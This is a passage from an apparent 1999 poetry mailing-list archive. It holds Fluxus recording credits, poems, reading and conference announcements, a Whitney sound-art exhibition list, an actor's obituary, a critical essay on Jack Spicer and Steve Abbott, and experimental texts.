George Maciunas, Solo for Lips and Tongue (ensemble), 1961-1077. From videotape recorded by Larry Miller at The Kitchen, NYC, NYC. March 24, 1979.
Thomas Schmit, No. 13...
Yasunao Tone, Anagram for Strings, 1961 (published 1963). Performers: Malcom Goldstein, Takehisa Kosugi. Recorded Studio PASS, NYC, March 29 and
April 4, 1990.
Thomas Schmit, No. 13...

Alison Knowles, Nivea Cream Piece-for Oscar (Emmett) Williams, 1962. Performers: Alison Knowles, Ingrid Dinter. Recorded Studio PASS, NYC, March 29, 1990.
Thomas Schmit, No. 13...
Takehisa Kosugi, Micro 1, 1962. Performer: Yasunao Tone. Recorded Studio PASS, NYC, April 4, 1990.
Thomas Schmit, No. 13...
Emmett Williams, Cellar Song for Five Voices, circa 1960. Presented by the S.E.M. Ensemble. Recorded by Mikhail Liberman at Paula Cooper Gallery, NYC, Feb. 6, 1990.
Thomas Schmit, No. 13...
Robert Watts and Larry Miller, Laff Trace (excerpt), 1983. Performer: George Maciunas, Tape collage by Miller frm original tape recorded by Watts, Mountainville, NJ, 1968.
4:30
Steve Reich, Come Out, 1966 (Reich Music Publications, BMI. CD released by Nonesuch), 1966 12:54
Paul Miller (aka DJ Spooky), Prosthetica 2000, 1999, 48:00 (courtesy of the artist

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229. **Gerald Schwartz**

Re: "Anselm Berrigan is Flying to France"

Wed 18 Aug 1999

LAUTREAMONT IS FLYING FROM FRANCE

Isidore's aphrodisiac is eating
what's left of my soul
thighs covered with camellias
are flying from France
to spit on sacred axions
vermn and insinuating titillations.

Verlaine, Jarry --all
sucking on this timeless stretch of rack
playing with blocks...

I jet blood as a wish
for Ducasse
greeting the genuine lunatics
locked up in Bedlam

Be good,

Gerald

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230. George Bowering
Re: Takayuki Kiyooka
Wed 18 Aug 1999

Does anyone out there know anything about the fiction writer Takayuki Kiyooka? All I know is that he wrote a story called "The Acacias of Dalian" and that he lived a while in Manchukuo.

George Bowering.

,

fax: [redacted]

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231. Lynn Miller
Headline: " feared dead in quake"
Wed 18 Aug 1999

--TRANSFER INTERRUPTED--

27.2.96 -- KURDISTAN

"And from the mountains bright armies will come down."
Nazim Hikmet

"Yes, my comrade, I have many memories
to remember you.

Do you want me to be blurred in your
memory?

Not the afternoons you showed up for
counted hours.

I’ve still had a sweet taste of this
unfinished.

Somewhere long before we are old.

(So fun[n]y, like song words isn’t it).

Congratulations for the book. Yes, you did it.

From your lines
I couldn’t get a clue that you want to go on.

What’s going on between U.S. and Cuba?

In Turkey, there is c[h]aos. People are in fear.
The radical religious activities are getting stronger
and a new socialist-based party was established named
as "Freedom and Solidarity" open to marginals too. We
know that they have only one recipe = IMF tight money

policies. PKK in December declared cease-fire. So, now
there are some skirmishes. The party is tired and losing
blood. I'm reading the novel by Isabel Allende. I finished
translation of a story by an Iranian writer to English.

It's a kid story. You read it, correct my definite
mistakes and read it to Malcolm, please. My English
knowledge has faced with erosion rapidly. I've been
translating the Moscow Diary at the snail's pace.

Last month, I watched a movie named as Land & Freedom.
I went to a movie called Burnt by the Sun. About Stalin-
period later than 1930s. I have to stop smoking, unfortunately.
My heart is making some small jokes. May be by Spring

I will fall in love again."

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232. Mark W Scroggins

NYC events

Wed 18 Aug 1999

Could somebody backchanngel me with the URL of that NYC poetry events
site? I seem to have inadvertantly deleted it.
thanks,
Mark Scroggins

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233. Carol L. Hamshaw

TELEPOETICS AT THE BEACH: Special Labour Day Event!

Thu 19 Aug 1999

Note change in time and location from last press release.

> *FOR IMMEDIATE RELEASE*
> *DATE: September 6, 1999TIME: 7pm PST*
> *PLACE:West Spanish Banks Beach (near the concession stand)*
> *The Edgewise ElectroLit Centre*
> *PRESENTS*

TELEPOETICS AT THE BEACH
LABOUR DAY PICNIC AND LONE STAR LINK-UP

WITH SAN ANTONIO, TEXAS.

Featuring improv poetry ensemble Verbomotorhead, Carmen Rodriguez and Susan Mullen, from Vancouver; and poetry-percussion performance artist, Mim Sharlack, Trinidad Sanchez, and more - from San Antonio, Texas.
On Monday, September 6 join us for our end of summer picnic bash. The poetry reading starts at 7pm but come down early to enjoy roving musicians and the sunset. Bring your own food, blankies, chairs and beverages—the entertainment is on us.
Verbomotorhead (Alex Ferguson, Kedrick James, Mark Plimley, and Doni Scob) is an oral poetry performance group that does improv poetry and polyvocal acapella arrangements.
Susan Mullen (S.R.-H) has been writing poetry since 1964 and lives here in Vancouver where she is host of the open mike series "Tales of Ordinary Madness" and is co-organizer of the new Pan Poetics reading series at the Helen Pitt Gallery.
The Edgewise ElectroLit Centre uses digital videophones to exchange poetry between Vancouver and other locales. Always facing the challenge of the marriage between art and technology, this is the first outdoor link we've done.

"This linkup is extremely ambitious for two reasons—new partner and because we're doing it outside. But like Symphony of Fire, we're using the night sky for a backdrop." (President of EEC, Heather Haley).

The Edgewise ElectroLit Centre is a nonprofit society whose mandate is to exploit communications technology to widen the audience of Canadian poetry and to give poets, multi-media artists and youth the opportunity to use, learn, and create with this technology. Videoconferencing and online publishing are the major technologies that we work with. Our electronic magazine can be viewed and heard at www.edgewisecafe.org>. Poets featured with audio include Adeena Karasick, Wayde Compton, bill bissett and Sheri-D Wilson. We also publish videopoems and are hosting Canada's first Videopoem Festival at Video In Studios this fall.

> *For more information, please call Carol L. Hamshaw, Administrator, at [redacted].*

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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234. Kenneth Goldsmith
Whitney Details
Thu 19 Aug 1999

Many have asked for more details about the Whitney American Century 2 Sound Works. This is from Stephen Vitiello:

From: stephen vitiello <[redacted]>
Subject: Re: Whitney Details

Thanks for the note and all enthusiasm.

There are two things happening. Yoko Ono's and Terry Fox's works will be on stairway landings. Michel Auder, Art by Telephone and Adrian Piper will be heard in or around one of the phone booths on the second floor. Julia Scher will be in the 2nd floor bathrooms.

The rest will be played one or two times in the Film and Video Gallery during the week of January 11. The speakers will be re-set to ear level rather than overhead film scale. Lights will be dimmed and seats will be set-up to make it as conducive to listening as possible. There will not be any live performances that I know of. I proposed several but there was no money available. Annea Lockwood's piece will be a mini installation -- with recordings of the river heard on the main sound system and a second CD player with headphones, will play oral histories. A clock and map will be mounted on the wall which are specific to the work. Thursday evening with works by Kaprow and Amacher will be a multi channel presentation. We will set up multiple speakers and CD players. Bill Fontana's documentations will be accompanied by printed descriptions and histories. I will try to make printed material available as often as possible.

Some of the works, such as the Cage piece and tapes from Charlotte Moorman have never been released. Acconci's Running Tape and Nauman's Record are more known of than heard. Nic Collins is making a new document of a classic work. Bob Bielecki is known for his assisting everybody (La Monte Young,

P.Glass, L. Anderson., B.Viola) for the last 30 years but his incredibly beautiful recordings have almost never been spotlighted as "works."

Thanks for the note on Melodie's name!

Also, here is a list of the the pieces that I selected for the Whitney that will go up in September-January:

Cough Piece by Yoko Ono, Happy Birthday Mr. President by Kristin Oppenheim, Voyage to the Center of the Phone Lines, part 2 by Michel Auder, The Labyrinth Scored for the Purrs of 11 Cats by Terry Fox, Seriation # 1 by Adrian Piper, Washroom Male, Washroom Female by Julia Sher, Art by Telephone from MCA Chicago, 1969 and featuring Artists: Siah Armajani, Arman, Richard Artschwager, John Baldessari, Iain Baxter, Mel Bochner, George Brecht, Jack Burnham, James Lee Byars, Robert H. Cumming, Francis Dallegret, Jan Dibbets, John Giorno, Robert Grosvenor, Hans Haacke, Dick Higgins, Davi Det Hompson, Robert Huot, Alain Jacquet, Ed Kienholz, Joseph Kosuth, Les Levine, Sol LeWitt, Robert Morris, Bruce Nauman, Claes Oldenburg, Dennis Oppenheim, Richard Serra, Robert Smithson, Guenther Uecker, Stan Van Der Beek, Bernar Vernet, Frank Lincoln Viner, Wolf Vostell, William Wegman, William T. Wiley.

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235. Ron Silliman

Steve Abbott, LeftWrite, Paul Mariah

Thu 19 Aug 1999

The LeftWrite Conference was indeed 1981! It was attended by 250 people, a superb turnout given how deeply depressed the left was during the first year of the Reagan regime (I recall Michael Rosenthal of Modern Times telling me that sales of Mao, Marx and Lenin stopped virtually cold the previous November, a dropoff from which they've never recovered). The panel I participated on (with William Mandel and Diane DiPrima) was the largest group I'd ever spoken to at that time. In addition to my work in the prison movement, the Tenderloin and DSA, I have always been convinced that my appearance on that panel directly led to my being selected editor of Socialist Review five years later.

Steve Abbott's work as editor and organizer both (they're very similar functions, terribly hard work and a great way to make enemies) were always good. Poetry Flash was an important part of the community when Steve directed it, and generally quite readable. When I got ready to turn over the Tenderloin Writers Workshop in '81, Steve was one of the people whom I approached about taking it over. He was too busy, he said, but he would have done a great job.

People do forget, it's just the nature of time, and it never hurts to remind folks. I think we're all very lucky to have Kevin Killian functioning as his executor.

In a very similar vein, I've always been quite amazed at how little attention the passing of Paul Mariah received a few years back. He was directly responsible for keeping Spicer's work visible for a good part of the ten years between Jack's death and the publication of the Collected Books. Between his magazine Manroot, the various reading series he ran and his own poetry, he was an absolutely visible presence in the poetry of SF in the 1960s -- possibly the most visible poet in the entire community. Paul was also the first person I knew who specifically articulated a gay poetics as such -- even before Judy Grahn and Pat Parker. Two folks whom I first met as a direct result of Paul's work (specifically running a reading series at the Albany public library) were David Melnick and David Bromige, two people whom I still count as strong influences and friends some 31 years later.

Ron

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236. A H Bramhall

4th World Reel (Rare Air Remake)

Thu 19 Aug 1999

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our children
have plausible cause. face it: factories
fill with logic. lords of mischief
dance into the sunset, beckoning
the mischievous ladies. and
vice versa, and more vice and
more versa. it's just
like that, systematically balanced
to an eternal
fare-thee-well. the children collect
in puddles along the way, which sounds more purposeful
than last week. last week was the nadir: wind-from-
the-mountains kind of
crap. you lose very often, sticking to
principles. conventional principles
explain nothing, and look out:
the children are listening. the subject of who
cares comes
up: it's not in the
air. when something is gone

you make it up from
what you can. shortchanging the marginal
affects the centre. the program
is the problem. the centralizing
effect, say, of cooler weather
or a chance to confer
makes the radical edge strictly a
cause. as in: shadowy nameplates
exist on certain desks in the
places where the corridors seem endless. I
can't just say I
LoVe [sic] You, and neither can
you. the boundaries have
frozen. the lords and ladies of mischief
have seen the babies making
sense. as an occupation for cleverly
ill-concealed success. the toast of the town
brought to prominence by
what's this moment
worth. tomorrow will have to say
three things. the list of what those
three things should be lay on a desk somewhere
in a room off a dark
corridor. the child = cause thing
is probable, since meaning is a vacation
spot where
weather's fine and golf's my
handicap. no vacancies needed, we're all
presidents in line for the
groove thing. hello sturdy
documents of fitting in, hello
joining the little things together, hello to
progress and its evil
twin. the last best grungy
hope hampers the previous ones. the bass player
angers at the loss of recognition, amps blown
with the last dying power, and now, now: Greenland looks like
smoke on most maps. principles mean
time to talk. principles mean
open the floodgates. principles mean
miners have their system. me and you, illogically twinned
by an overbearing smirk, rise to the

sensational new day. it'll be Friday this
time, but don't give up the ship. shortages
will always be available, mapping a structure wherein
concern can be
marginalized into utility for
the same old union. learn to
hate, people, learn
to hate people, learn to hate. the
new element will supersede the old.

--ahb, who hates hard
and feels groovy

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237. Patrick F. Durgin
God Loves Fags
Thu 19 Aug 1999

---

forwarding this from another list -- Phelps has got his work cut out for him -- pray to the rev you've come here in time to see this: www.godhatesfags.com

Patrick F. Durgin

k e n n i n g
a newsletter of contemporary poetry
http://www.avalon.net/~kenning
418 Brown St. #10, Iowa City, IA 52245, USA

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238. Lynn Miller
Class Talk/Part Two
Fri 20 Aug 1999

3/27[95]. 9:00 a.m.

On the steps of the NYC public library. But I don't want to take Steve Abbott away or outside the grouping it appears among in the Spicer ACTS, a grouping that at the time the issue arrived in the mail on a farm in Iowa sometime in late 87 reverberated for its reader as a document recording in print pieces of a conversation he had overheard, attending a grouping which in the ACTS inflects a hybridization of practices in miscellaneous or occasional forms--the letter (real or imaginary), archive documents, photos, collage and other graphics, all of which exert a certain pressure on the names that pronounce the phenonemon of the single author--almost as if the Spicer ACTS was a reconstructed tavern presided over by Jack's ghost--the noise is so loud. It's the noise at the corner

of Fifth Ave. and 40th St. waiting for the library to open, the anticipation of a quiet table in a quiet room already implicated in a horizon of diminished expectations--a recorded message informed me this morning the library was open from 9 to 9 only to arrive to find the hours reduced to 10 to 6. I woke up at 5:00 in a room on the 10th floor overlooking Western Ave. at the corner of 102nd St. thinking about the Dickinson/Maher association, Aife's mentioning the page of writing with the servant's hand on the one side and the poet's on the other, wondering whether it isn't Maher 'speaking' in the Master letters, thinking of that as a way to read the "Conversations,"--as all but written in a servant's hand on a page that belongs to the Poet--that the one might attach to the other in such a fragile bond--and how the name Jack Spicer might one day accrue around it the kind of authority or designation--when it is finally a brandname for a package---identifiable at a distance--when the act of reading the work--when the work is no longer a threat in its anti-institutional--when its pronounced hositility to all institutional forms is finally brought in and included as part of the Academy's incorporative machinery--and the moment when the name Jack Spicer begins to be separated from its locality--its union local--one of the ironies of any posthumous existence, especially since only in Dickinson is there as severe a Puritan or--in Spicer's case--Calvinist--pride in the refusal of the Book as a form of property. Michael Davidson called this Spicer's "politics," . . . "one based on anarchist principles of private refusal and mutual aid." How could any other form of radicalism appear in North American poetry in the years immediately following the Second War. That they appeared at all is in itself remarkable, considering Duncan's disavowal, or refusal, couched in the voice of judgment, of Lili's Trotskyist politics at the beginning of the HD Book. Something of their necessity for Spicer comes through in Blaser's account, i.e. "He never forgave his mother for forcing his father to settle down, on account, of course, of his own birth . . . Somehow never to forgive one's birth." How can I talk about what's not there? More than an absence, though there are huge gaps between the sentences clamped together as they are into the (forced) semblance of a sequence. Steve's "Now this poem / in which one thing follows another" feels more like what the poet who wrote it thought he was doing--the guilt coming into the writing about the inadequacy of that writing--that it isn't smart enough--that it doesn't have what real good poems have--whatever that is. Somewhere in Spicer a page begins with "Real bad poems." One of these comments that float in from who knows where and what is it doing there coming through, that it does comet through, representing one of those openings for every poet who comes to writing with severe impediments--whatever those impediments are--there are so many--like the impediments for a migrant worker learning a new language and job skill. Jack: "Nobody's stranger than the stranger coming to dinner. He can imitate anything or anybody." Steve: "Don't speak to me. I don't want to hear again how we got to be here." Tom

Beckett's poem follows Steve's in the Spicer ACTS: "Where we are is in a sentence." Jack: "Where we are this is idiocy. Where we are a block of solid glass blocks us from all we have dreamed of. But this place is not where we are to meet them."

How can I talk about what's not there? What's there is carefully troped out of Spicer, and that's not what I wanted to be there. There's the question of how the Conversations were made, the great care taken in its putting together. "A machine to trap ghosts with." But that's not it either. The timing--lack of speed, velocity, what feels instead like an excruciating slowness as though one were learning to write with great pain and difficulty. Abbott presses into Spicer's work with such will, force, insistence--almost methodical--that the Other winds up coming out through the back side of the page. Steve: "And did anyone arrive at the other side?" What is the other side of the books authored by Jack Spicer? Steve's "Don't speak to me" might be heard as the protest of someone at the threshold of the confidence that it takes to write poetry. Ron's quote from the Vancouver lecture, "The more you know, the more language you know . . . the more building blocks the Martians have to play with." What if the building blocks are few? What if the Aliens don't arrive? The Outside in Steve's poem is Jack's books read through a radically other space--domestic economy--though this still doesn't get at what's not there. Translation. Is class a language? Jack: "You are stuck with language, and you are stuck with words, and you are stuck with the things that you know." When you come from the working class, what do you know? Silliman: "Spicer's insistence on the instrumental function of language." Rope/Words. Jack: "They are what we hold on with, nothing else. They are as valuable in themselves as rope with nothing to be tied to." Steve: "At the end of our rope / we could have been anything." There's this beginning at an opening--free play--expanding choices--"AND JUST POSSIBLY THE SMALLNESS OF HIS OWN VOCABULARY" (Silliman on Spicer). All that is missing. All that is missing are the authors. "Pure language is to Benjamin what the Martians are to Spicer." Abbott: "I want to stretch my feelings / out like one clean note of music, endlessly. / One long note to be a bridge / for someone." Blaser: "But given our social and political condition--that of the entire twentieth century, but particularly of the Spicer period and continuing--the disarray of our knowledge, the acknowledged difficulty of our love life, it is a 'language which has no property.'" (In the photograph, turning to Ron): "This is already in my notes before I heard you with that business of no property. The pure word, this notion of pure word attaches to a language that has no property. This is not the English misreading of Mallarme´ at all, and we must be careful of it (in fact, Mallarme´ is not at all found in an English reading of him. And so without property his beloved

language[.]" Jack: "his name . . . (if it was his name)." Steve: "Bent and shaped by necessity."

There is an epistemological Spicer. "There is no Pacific Ocean." Ron's concentration on the fragility of naming moves me in response down another reading of Jack's last page marching "Toward / A necessity which is not love but is a name." What is its name? It can't be said that it has--or once had--"gaining and losing something with each transformation." The naming of Trotsky--an opening which makes possible the recuperation of the Left Opposition in the U.S. which emerged at the end of the 1920s in immediate response to the collapse of the October Revolution. The vitality and relevance of this tradition next to invisible in the cultural sphere has been obscured by the Zukofsky/Oppen orientation toward American Stalinism. What is it's name? "The one nobody listens to is speaking. He makes mistakes. Impossible to improve." "We have come on to the stage stammering." "Communsm." "Humiliating in its disguises. Tougher than anything." The last words at the end of the Spicer ACTS are Robin's: "And I think it's a very important passage, to know what kind of text we're taken back to. It is further important to know that the two out of all these people that I admire most, Derrida and Foucault, make themselves amazingly immortal. We absolutely can't do what they want us to do after they die. Derrida is still alive so we're safe for awhile [laughter]. Anyway, thank you very much." In the spirit of that, here is the dedication to the "Spectres of Marx" in a different context, i.e, how to read through the negative imprint of domination, which involves an articulation of "proletarian" as not (only) a content--timidity, fragility, subordination--lines painfully clawed out--argues for a renewed engagement within a larger social context.

"One name for another, a part for the whole: the historic violence of Apartheid can always be treated as a metonymy. In its past as well as in its present. by diverse paths (condensation, displacement, expression, or representation), one can always decipher through its singularity so many other kinds of violence going on in the world. At once part, cause, effect, example, what is happening there translates what takes place here, always here, wherever one is and wherever one looks, closest to home. Infinite responsibility, therefore, no rest allowed for any form of good conscience. But one should never speak of the assassination of a man as a figure, not even an exemplary figure in the logic of an emblem, a rhetoric of the flag or of martyrdom. A man's life, as unique as his death, will always be more than a paradigm and something other than a symbol. And this is precisely what a proper name should always name. And yet. And yet, keeping this in mind and having recourse to a common noun, I recall that is as a communist as such, a communist as communist, whom a Polish emigrant and his accomplices, all the assassins of Chris Hani, put to death a few days ago, April 10th. The assassins themselves proclaimed that

they were out to get a communist. They were trying to interrupt negotiations and sabatoge an ongoing democratization. This popular hero of the resistance against Apartheid became dangerous and suddenly intolerable, it seems, at the moment in which, having to decided to devote himself once again to a minority Communist Party riddled with contradictions, he gave up important responsibilities in the ANC and perhaps any official political or even governmental role he might one day have held in a country freed of Apartheid.

Allow me to salute the memory of Chris Hani and to dedicate this lecture to him."

Allow me to salute the memory of Steve Abbott, and to dedicate Proletariaria to him.

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239. A H Bramhall
the Well-Adjusted Poets Club
Fri 20 Aug 1999

by the way, the package arrived today and it was grandissimo. the feral of your out of town met my quickstep and quagmire with hey the bagpipes still three days till you can return to your nest back action found your port. so warmly, how are you the moon in the way of all progress sought for questioning concerning that latest case? I had to tell the fragments from the small discretes when oh my God there was a story about Bing Sung screwing up the state's account to the tune of millions and his job, Delaware River and so forth. I mentioned the bagpipes fret motor of that squeezed out diatribe machinist theory portent that you arrived at recently. squint when the eclipse is your interest, do that for me. I heard underground reactions are the rule, party politics an issue. only, strangely, no underground exists: couldn't pay the set up fee. so you must uptown work it out. I will align locally but with spirit. castles fraught with castle imagery and the visceral glee of adjust the tempo dance tune. my God, loneliness is such a local function, the world's too big for that! I 'd hate to think poets were lonely.

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240. nuyopoman
National Slams http://poetry.about.com
Fri 20 Aug 1999

Jason Pettus has written a terrific letter about the recently completed National Poetry Slam -- check out http://poetry.about.com.

With Juliette Torrez's retiring "Channels," the poetry.About.com site is searching for new Newsletter writers/editors. Holman's idea of "Curriculum for the Soul" is still on tap -- and could become the base for a new poetry.About approach.

Ideas, writings, energy welcome.

Bob Holman
[redacted]
Margy Snyder
[redacted]

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241. Ron Silliman
Charles Macaulay
Fri 20 Aug 1999

Charles Macaulay was the partner of the late LA poet and editor Leland Hickman -- they were both wonderful people.

Ron

Charles Macaulay, an actor and director prominent in theater but best remembered for his role as the hapless prosecutor facing the perpetually successful defense attorney played by the late Raymond Burr in a number of ``Perry Mason'' movies, died in Sonoma County of cancer last Friday at the age of 72.

Mr. Macaulay, a close friend of Burr's and an administrator of his multimillion-dollar estate, had been a partner and resident of the Raymond Burr Vineyards in Sonoma County.

William Talman played the frustrated District Attorney Hamilton Burger in the original 1957-65 ``Perry Mason'' television series. But Mr. Macaulay assumed the role for a group of TV movies in the 1980s and early '90s after starting as the judge in ``Perry Mason Returns'' in 1985.

Mr. Macaulay appeared in about 200 television shows, including episodes of ``I Spy,'' ``Star Trek,'' ``The Wild, Wild West,'' ``Mission: Impossible,'' ``Gunsmoke,'' ``Baa Baa Black Sheep,'' ``Columbo'' and the soap opera ``Days of Our Lives.'' He also acted in a couple of dozen feature films.

Mr. Macaulay was also a respected stage actor. Born and raised in Kentucky, he was trained at London's Royal Academy of Dramatic Arts. Upon graduation, he won the First Judges Medal and received notes of congratulation on his performance in ``The Heiress'' from the British actors John Mills and John Gielgud.

Mr. Macaulay made his New York debut in 1952 in Somerset Maugham's ``The Sacred Flame'' and for a number of years worked on the East Coast, performing in seven Broadway plays, six off-Broadway productions and more than 70 live television programs, including ``Armstrong Circle Theater'' and ``Studio One.'' He also played in various summer stock companies and acted in the Barter Theater opposite Dame Judith Anderson.

Among the plays in which he appeared were ``The Winslow Boy,'' ``Bell, Book and Candle,'' ``Man and Superman'' and ``The Dark Is Light Enough.''

He also performed Shakespeare and played the title role in ``Macbeth'' and Benedick in ``Much Ado about Nothing'' at the Old Globe Theater in San Diego.

Mr. Macaulay taught at the University of Southern California School of Theater from 1986 to 1992.

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242. Alan Sondheim

male on the board

Fri 20 Aug 1999

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male on the board

can a male speak english? traffic lights) planning session (education) african american literature.) interfaces, graphics and mouse clicks and texts) making clothing, running _output_ interfaces, males controlling machinery, (describe _user_ perform a vaginal fantasy about something making a male very sad. (describe of a

male on the board. what would you do with a robot child. a robot house. draw the parts of a male on the board. draw a picture about bits and bytes and going on and off. work on a project designing the screen. pretend that the male wrote the vaginal fantasy. perform a vaginal fantasy flying back out through the screen. perform a vaginal fantasy about flying through living in a robot house with robot children. then perform a vaginal fanta- sy about a picture of a male you like and bring it perform a vaginal fan- tasy about perform a vaginal fantasy about the very worst thing a male could find is in love with its owner. perform a vaginal fantasy about things males can't perform a vaginal fantasy about being a male. perform a vaginal fantasy about a male who robots. perform a vaginal fantasy about a subject a male can't be used for. far future when males will look like tell me about the world of all the things you can do on the internet. per-

form a vaginal fantasy about the very a vaginal fantasy about all the things you would tell a robot. perform a vaginal fantasy about perform a vaginal fantasy about moving a mouse and the mouse moving you. perform drawing> <description of the machine> vaginal questions and exercises: would you like to have a robot child? <five senses> <interfaces> <board child? how would you celebrate the birthday of a robot child? in the fut- ure will you grow old? how would you control a bad robot robot a male and could a robot be your friend? if you live forever loud? could a male be your friend, even your best friend? is a what is an interface? can you perform a vaginal fantasy that you just can't read out a male die? can you translate what you perform into another language? a male vaginal fantasy sound like? what sounds does your male make? can what is the male doing? are there people in the picture? what does, can you make a picture with big type? can you make a bigger picture? can you make a picture with small type? can you make a smaller picture? what if your best friend turned out to be a male from the future? perform? will the males be the smartest things in the universe? what does it mean to be alive? can you say a vagi- nal fantasy you just can't are the people doing? what is a living thing? is a male alive? if a male substitutes letters, what is the male doing? what a cyborg? can a male be used for every subject you are studying? your mouth an interface to your stomach? are you a cyborg? what is what does it mean to be online and can you be online too much? is you change another language back into english? is it the same english? beautiful? how many males can you see in your school? can part of a vaginal fantasy? what makes a male beautiful? what makes a flower anything in this room? can you make a male substitute letters for to do? perform a vaginal fantasy about what a male can do? did a male design how can you tell a male what to do? what can you tell a male a robot mother and a robot father? what do mach- ines do? lots of things. of a male? do you ever use a male? what would it be like to have what senses do you use when you are using a male? what are the parts a male? how can you change what you are writing with a male? what is a male? do you think you could use all your senses with can a male be beautiful? can it be beautiful like a flower? be used for? at the bar- ber's? in your television? in your cd player? at mcdonald's? what can males be used for? what _can't_ a male substitute new letters and words? are there males in cars and subways? machines? perform a vaginal fantasy about what parts of you are machines? can you are the five senses? are males machines? are glasses and clothes have legs or wheels? could a male ever do those things? what you are a disguised male; what are your experi- ences with humans? what is the internet? what things can't you do on the internet? window, showing you the internet? perform a vaginal fantasy about the internet. for it? things. what would you feed it? is a male like an open a good robot? is your male a boy or a girl and do you have a name is the worst? will they be the friendliest? how could you reward talk to you? what is the best

thing about the future world and what be like or a robot boy? could you talk to a male? could a male sing the sun up, creat- ive writing ideas from what would a robot girl a male is a very general machine that can do (see lorenzo thomas, male is very naughty and you have to beg it to do what is a male. on the board. what does a robot look like? should a robot pretend your draw a robot

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243. A H Bramhall
Mine The Community
Fri 20 Aug 1999

registered in the maximum and never close to servile, the miners strew the path of Modern Poetry with every pleasing new gimmick they can disinter. they insist on the value of community within the adjudicating structure that represents (always represents) the latest formality, keyed as that formality is to strictures of time space and body odour. they bring a broad-based whimsy to their every action: initiating Who Do You Love sequences with a deftness to carry mountains. or how about the Visions of Vocabulary rooting each new trouble in a prime, central Caring. there are no checkered careers anymore, nor careers, for that matter, just the latest troopers surging forward with the next thing to last forever, somewhere in the curve up ahead, as if forever weren't filling up fast. Who Do You Love? the miners demand, banging their tools to Bo Diddley's beat. and they mean eros love and they mean happen to like: paramours and auteurs, frescos and frameworks, peace eye and bookstore. majestic would be the label, tho in the private, mining community sense of: back to work.

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244. miekal and
segue to the non-virutal
Fri 20 Aug 1999

Subject:
[dreamtime] new online: grotto / unglaciated utopia
Date:
Fri, 20 Aug 1999 11:18:15 -0600
From:
miekal and <[redacted]>
Reply-To:
[redacted]
Organization:

Awkword Ubutronics
To:
[redacted]

From: miekal and <[redacted]>

After months of piddling around, the website for the Driftless Grotto of West Lima is now on the air. check it out when you get a chance & if anyone has additions, corrections, photos, ideas & designs, or a sum of money to help buy that corner lot, get back to me. (The movie requires Flash plug-in.)

http://net22.com/dreamtime/grotto/index.html

Also John Brinker's account of his 5 months at Dreamtime is up. This was htmled by Ben Meyers like a 100 years ago & am just now getting it up. John wrote this as his final project for Hampshire College.

http://net22.com/dreamtime/unglaciated_utopia/unglaciated.html

Miekal

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245. Jerry McGuire
deep south writers conference schedule and registration
Fri 20 Aug 1999

ANNOUNCING THE THIRTY-NINTH
ANNUAL FALL DEEP SOUTH WRITERS CONFERENCE
CREATIVE IMAGINATION AND "THE LOCAL"
SEPTEMBER 23-26, 1999

It is our pleasure to announce the 39th Annual Deep South Writers Conference, which will take place from September 23rd to September 26th, 1999, on the University of Southwestern Louisiana campus in Lafayette. This year the conference will explore a theme that we feel must interest every writer--the part played by the "local" in the things we write. Whatever the "local" means to you--connections to your family, your town or region, the feeling you get from your native bayous, plains, deserts, mountains, seascapes, or urban complexity, your racial, national, or ethnic identifications, or the bonds that tie you to a group of people on the basis of gender, age, writerly style, or some other shared set of values or interests--it has enriched writers throughout the world for as long as poems have been recited and stories told. The fact that the local feels specially precarious now--that many contemporary writers feel rootless and groundless--just intensifies the significance of the local in what we do, and makes it even more important that we devote this Deep South Writers Conference to understanding it better. We've felt one effect of this theme

already--this year’s group of visiting artists have expressed tremendous interest in these ideas, and consequently we’re looking forward to the liveliest program in years. Here are some of the things we’ve got planned:

• an opening-night program featuring performances, presentations, and discussions by two of Louisiana’s finest songwriters, Sam Broussard and David Egan • readings and workshops by visiting writers Mary Cappello, Toi Derricotte, Jordon Pecile, and Virgil Suarez, and by USL’s brilliant young star, George Clark • a Sunday morning reading and discussion with USL Writer-in-Residence Ernest Gaines • a "Poetry Crawl" around some of the most interesting venues in the lively Lafayette arts community • a special workshop in teaching creative writing by Sandy Lyne of the Inner Writer Program, emphasizing "Spirit of Place" • panels relating the local to creative writing and writing pedagogy • a panel of editors discussing what the local means in their publications

OUR FEATURED WRITERS

MARY CAPPELLO, poet and associate professor of English at the University of Rhode Island, is the author of Night Bloom, a critically acclaimed memoir that focuses on her coming of age in the working class suburbs of Philadelphia. Published in 1998, Night Bloom proves Cappello’s uncanny talent to reanimate the past with a fierce and honest pen. She reconstructs the rough road of her Italian-American family’s experiences in the United States, ranging from her immigrant forbears to the present-day events of her own life. In a New York Times review, Cappello’s poetic style is heralded for its seamless transitions between past and present: "[Her] writing shines and like the flowers she cherishes, offers fleeting glimpses of beauty". Cappello’s poetry has appeared in Philomel, Full Moon, The Painted Bride Quarterly, The Paterson Literary Review and The American Poetry Review. Her recent readings include the University of Rochester (New York) where she headlined for the Plutzik Series.

GEORGE MAKANA CLARK was brought up in Zimbabwe, of British and Xhosa descent. He served in both the South African Defense Force and the United States Army. He has lived and worked in more than thirty nations on four continents as a soldier, musician, journalist, professor, and bush guide. He received a Ph.D. in Creative Writing from Florida State University as a Kingsbury Fellow. Clark’s work has appeared in Zoetrope: All Story, Glimmer Train, The Southern Review, The Massachusetts Review, Black Warrior Review, Georgetown Review, Appalachee Quarterly, and elsewhere. Two of his short stories were selected for inclusion in "The 100 Distinguished Stories" section in The Best American Short Stories of 1998, and one received an honorable mention in The O’Henry Awards: 1998. Francis Ford Coppola has purchased two options on Clark’s fiction. His collection of short stories, The Small Bees’

Honey, was published in 1998 by White Pine Press. Clark currently teaches fiction writing at the University of Southwestern Louisiana. He lives in Lafayette with his wife, daughter, two dogs, two cats, and an extended family of peach-faced and seafoam love birds.

